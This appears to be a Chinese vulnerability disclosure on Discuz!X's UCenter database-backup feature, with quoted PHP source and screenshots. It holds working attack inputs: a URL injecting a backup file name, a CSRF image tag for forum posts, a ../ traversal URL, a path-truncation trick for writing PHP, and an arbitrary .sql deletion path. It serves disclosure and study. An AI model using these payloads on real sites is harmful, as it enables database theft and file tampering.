### 简要描述:
Discuz!x 一个为所欲为的csrf(站点脱裤,任意文件文件操作,目录穿越,可能其他cms躺着中枪) 求闪电!!!!!!!!!!!!!!
### 详细说明:
此漏洞来自dz公司的ucenter,这个ucenter,应该是在数据库备份操作时候,没有做csrf防御可导致dz被文件操作,脱裤等等,开始分析:
[<img src="https://images.seebug.org/upload/201409/14212930827f8c6570946b086714cccbee5aaa7e.png" alt="30.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/14212930827f8c6570946b086714cccbee5aaa7e.png)
下来我们分析代码:
uc_server\control\admin\db.php:(85-ll6行):
```
function onoperate() {
require_once UC_ROOT.'lib/xml.class.php';
$nexturl = getgpc('nexturl');
$appid = intval(getgpc('appid'));
$type = getgpc('t') == 'import' ? 'import' : 'export';
$backupdir = getgpc('backupdir');
$app = $this->cache['apps'][$appid];
if($nexturl) {
$url = $nexturl;
} else {
if($appid) {
if(!isset($this->cache['apps'][$appid])) {
$this->message($this->_parent_js($appid, 'appid_invalid'));
}
if($app['type'] == 'DISCUZX') {
$url = $app['url'].'/api/db/dbbak.php?apptype='.$app['type'];
} else {
$url = $app['url'].'/api/dbbak.php?apptype='.$app['type'];
}
$code = $this->authcode('&method='.$type.'&sqlpath='.$backupdir.'&time='.time(), 'ENCODE', $app['authkey']);
} else {
$url = 'http://'.$_SERVER['HTTP_HOST'].str_replace('admin.php', 'api/dbbak.php', $_SERVER['PHP_SELF']).'?apptype=UCENTER';
$code = $this->authcode('&method='.$type.'&sqlpath='.$backupdir.'&time='.time(), 'ENCODE', UC_KEY);
}
$url .= '&code='.urlencode($code);
}
if(empty($appid)) {
$app['ip'] = defined('UC_IP') ? UC_IP : '';
}
$res = $_ENV['misc']->dfopen2($url, 0, '', '', 1, $app['ip'], 20, TRUE);
if(empty($res)) {
$this->message($this->_parent_js($appid, 'db_back_api_url_invalid'));
```
这里的意思就是,当你发送一个get请求之后,然后php内部通过fopen完成剩下的所有动作,漏洞产生在哪里呢:
```
$url = 'http://'.$_SERVER['HTTP_HOST'].str_replace('admin.php', 'api/dbbak.php', $_SERVER['PHP_SELF']).'?apptype=UCENTER';
$code = $this->authcode('&method='.$type.'&sqlpath='.$backupdir.'&time='.time(), 'ENCODE', UC_KEY);
```
看到这两句了没有,举个例子吧:
我们提交的http请求如果是:
http://site.com/index.php?a=1&b=2
那么当我们b传递进来的时候重新二次构造url,如果我们的b=xxxx%26backupfilename%3Daaaa
这里时候等于在内部通过fopen发送get请求时候后面多添加了一个参数交个backupfilename=aaaa
看到这个解释,就恍然大悟了吧,肯定后面有怎么设置backupfilename,本来这里是不会被用户更改的,这样已设置,我们备份的文件名字可控了,直接可以拿到,在看代码:
uc_server\api\dbbak.php:(255-334):
```
if($get['method'] == 'export') {
$db->query('SET SQL_QUOTE_SHOW_CREATE=0', 'SILENT');
$time = date("Y-m-d H:i:s", $timestamp);
$tables = array();
$tables = arraykeys2(fetchtablelist($tablepre), 'Name');
if($apptype == 'discuz') {
$query = $db->query("SELECT datatables FROM {$tablepre}plugins WHERE datatables<>''");
while($plugin = $db->fetch_array($query)) {
foreach(explode(',', $plugin['datatables']) as $table) {
if($table = trim($table)) {
$tables[] = $table;
}
}
}
}
$get['volume'] = isset($get['volume']) ? intval($get['volume']) : 0;
$get['volume'] = $get['volume'] + 1;
$version = $version ? $version : $apptype;
$idstring = '# Identify: '.base64_encode("$timestamp,$version,$apptype,multivol,$get[volume]")."\n";
if(!isset($get['sqlpath']) || empty($get['sqlpath'])) {
$get['sqlpath'] = 'backup_'.date('ymd', $timestamp).'_'.random(6);
if(!mkdir(BACKUP_DIR.'./'.$get['sqlpath'], 0777)) {
api_msg('mkdir_error', 'make dir error:'.BACKUP_DIR.'./'.$get['sqlpath']);
}
} elseif(!is_dir(BACKUP_DIR.'./'.$get['sqlpath'])) {
if(!mkdir(BACKUP_DIR.'./'.$get['sqlpath'], 0777)) {
api_msg('mkdir_error', 'make dir error:'.BACKUP_DIR.'./'.$get['sqlpath']);
}
}
if(!isset($get['backupfilename']) || empty($get['backupfilename'])) {
$get['backupfilename'] = date('ymd', $timestamp).'_'.random(6);
}
$sqldump = '';
$get['tableid'] = isset($get['tableid']) ? intval($get['tableid']) : 0;
$get['startfrom'] = isset($get['startfrom']) ? intval($get['startfrom']) : 0;
$complete = TRUE;
for(; $complete && $get['tableid'] < count($tables) && strlen($sqldump) + 500 < $sizelimit * 1000; $get['tableid']++) {
$sqldump .= sqldumptable($tables[$get['tableid']], strlen($sqldump));
if($complete) {
$get['startfrom'] = 0;
}
}
!$complete && $get['tableid']--;
$dumpfile = BACKUP_DIR.$get['sqlpath'].'/'.$get['backupfilename'].'-'.$get['volume'].'.sql';
if(trim($sqldump)) {
$sqldump = "$idstring".
"# <?php exit();?>\n".
"# $apptype Multi-Volume Data Dump Vol.$get[volume]\n".
"# Time: $time\n".
"# Type: $apptype\n".
"# Table Prefix: $tablepre\n".
"# $dbcharset\n".
"# $apptype Home: http://www.comsenz.com\n".
"# Please visit our website for newest infomation about $apptype\n".
"# --------------------------------------------------------\n\n\n".
$sqldump;
@$fp = fopen($dumpfile, 'wb');
@flock($fp, 2);
if(@!fwrite($fp, $sqldump)) {
@fclose($fp);
api_msg('database_export_file_invalid', $dumpfile);
} else {
fclose($fp);
auto_next($get, $dumpfile);
}
} else {
@touch(ROOT_PATH.$get['sqlpath'].'/index.htm');
api_msg('explor_success', 'explor_success');
}
```
我们主要看着一句:
```
if(!isset($get['backupfilename']) || empty($get['backupfilename'])) {
$get['backupfilename'] = date('ymd', $timestamp).'_'.random(6);
}
```
刚才我们举例子了,按照这个逻辑走那么我们就会绕过去,不会在这里创建一个6个字符的随机数文件名
这里为了举例子,我们摘出来其中一部分sql备份:
url:http://192.168.10.70/discuz_x3.2_sc_utf8https://images.seebug.org/upload/uc_server/admin.php?m=db&a=operate&t=export&appid=0&backupdir=xxxx%26backupfilename%3Daaaa
按照程序的逻辑,这句话的意思就是在xxxx目录底下备份一个aaaa-1.sql
我们访问一下:
[<img src="https://images.seebug.org/upload/201409/142141222459e1aa93ee5fc7a43ce006f2156ae3.png" alt="31.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/142141222459e1aa93ee5fc7a43ce006f2156ae3.png)
我们去这个目录看看是否已经生成备份文件:
[<img src="https://images.seebug.org/upload/201409/14214248c1869dc95e8ea35866fd2fe34778a890.png" alt="32.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/14214248c1869dc95e8ea35866fd2fe34778a890.png)
有了这个我们害怕什么,很简单的一个get csrf,这时候我们在论坛发送一个img
<img src=http://192.168.10.70/discuz_x3.2_sc_utf8https://images.seebug.org/upload/uc_server/admin.php?m=db&a=operate&t=export&appid=0&backupdir=xxxx%26backupfilename%3Daaaa>
一切都搞定......关于这里怎么利用,方法太多了
下来我们看第二个漏洞目录穿越:
这里的backupdir 居然没有做任何限制,所以我们可以再操作系统内部随意创建文件夹
并且把备份的文件给写入进去,想想都可怕,如果dz的数据库非常强大,我这里只要一个死循环,分分钟让硬盘爆满:
url:http://192.168.10.70/discuz_x3.2_sc_utf8https://images.seebug.org/upload/uc_server/admin.php?m=db&a=operate&t=export&appid=0&backupdir=../../../../../../../../../../../../../../../../../xxxx
这时候我们去根目录看看:
[<img src="https://images.seebug.org/upload/201409/14214706b913726ebf43a40c7e5063124e25eef7.png" alt="33.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/14214706b913726ebf43a40c7e5063124e25eef7.png)
有人说gpc开着那么我们就没有办法阶段这一句代码:
```
!$complete && $get['tableid']--;
$dumpfile = BACKUP_DIR.$get['sqlpath'].'/'.$get['backupfilename'].'-'.$get['volume'].'.sql';
```
说的一点都没有错,因为我们这个$get['backupfilename']是完全可控的,如果我们发送%00这里会被gpc转义为\0不会被截短,但是在linux底下就不一样了,每个文件达到一定长度时候它自然就被截断了,举个例子:
```
$a='';
for($i=0;$i<=4071;$i++) {
$a .= '/';
}
$a = 'test.txt'.$a; //完整的路径为/var/www/test/test.txt
require_once($a.'.php');
?>
```
在Linux环境下测试,你会发现'.php'被截断了.这时候我们就可以写一个php文件了,不做演示了,主要漏洞点演示完毕
下来我们再看一个文件删除的地方:
```
elseif($get['method'] == 'delete') {
$sqlpath = trim($get['sqlpath']);
if(empty($sqlpath) || !is_dir(BACKUP_DIR.$sqlpath)) {
api_msg('dir_no_exists', $sqlpath);
}
$directory = dir(BACKUP_DIR.$sqlpath);
while($entry = $directory->read()) {
$filename = BACKUP_DIR.$sqlpath.'/'.$entry;
if(is_file($filename) && preg_match('/\d+_\w+\-(\d+).sql$/', $filename) && !@unlink($filename)) {
api_msg('delete_dumpfile_error', $filename);
}
}
$directory->close();
@rmdir(BACKUP_DIR.$sqlpath);
api_msg('delete_sqlpath_success', 'delete_sqlpath_success');
}
```
这里的逻辑就是删除某个目录底下的以sql后缀的文件,然后删除改文件夹,当然了这个文件夹如果是空的,那么我也就直接删除,非空是删不掉的
由于$sqlpath 路径完全可控,所以导致,可以再某一个盘符底下任意穿越删除sql文件,不管你是其他备份的还是这里自己生成的一概删掉
反正有了这个fopen的参数污染bug,那么应该还有好多地方存在问题,这里就不一一说了
再付最后一张图:
[<img src="https://images.seebug.org/upload/201409/14220051ae8032360ea6b55931c3bb6d13f21be7.png" alt="34.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/14220051ae8032360ea6b55931c3bb6d13f21be7.png)
[<img src="https://images.seebug.org/upload/201409/142201007806a0ae2d735f561b9a357640dbc7dc.png" alt="35.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/142201007806a0ae2d735f561b9a357640dbc7dc.png)
这些 我想就不用分析了吧,都是嵌入应用.........
ok
### 漏洞证明:
暂无评论